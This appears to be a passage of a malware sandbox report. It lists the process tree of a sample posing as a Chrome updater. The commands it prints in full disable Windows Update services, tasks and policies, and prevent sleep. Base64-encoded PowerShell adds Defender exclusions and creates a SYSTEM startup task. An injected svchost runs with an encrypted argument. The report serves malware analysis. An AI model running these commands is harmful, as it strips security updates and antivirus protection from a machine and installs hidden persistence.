      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:4012
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:5892
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:4520
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:6044
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:552
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:2004
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:5244
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        Modifies registry key
        
        PID:220
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:568
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:4996
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:2428
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3032
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2996
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2540
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4948
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        
        PID:3140
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:1452
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:3916
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:5516
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:3584
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:5012
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:2400
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:620
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:4240
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:4352
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4004
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:640
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1672
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:2308
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:4108
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:4964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:6004
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:5916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:4724
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:4560
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        
        PID:5440
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:3324
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:3144
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:3412
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:5744
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:3804
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:804
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:5668
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:4692
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:5784
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1236
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5324
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:1256
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:2416
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        
        PID:2024
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        
        PID:4128
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:2064
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:1660
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:4456
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:2240
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:5280
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:6056
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:8
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:2940
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4508
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3068
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5584
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:1508
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:5496
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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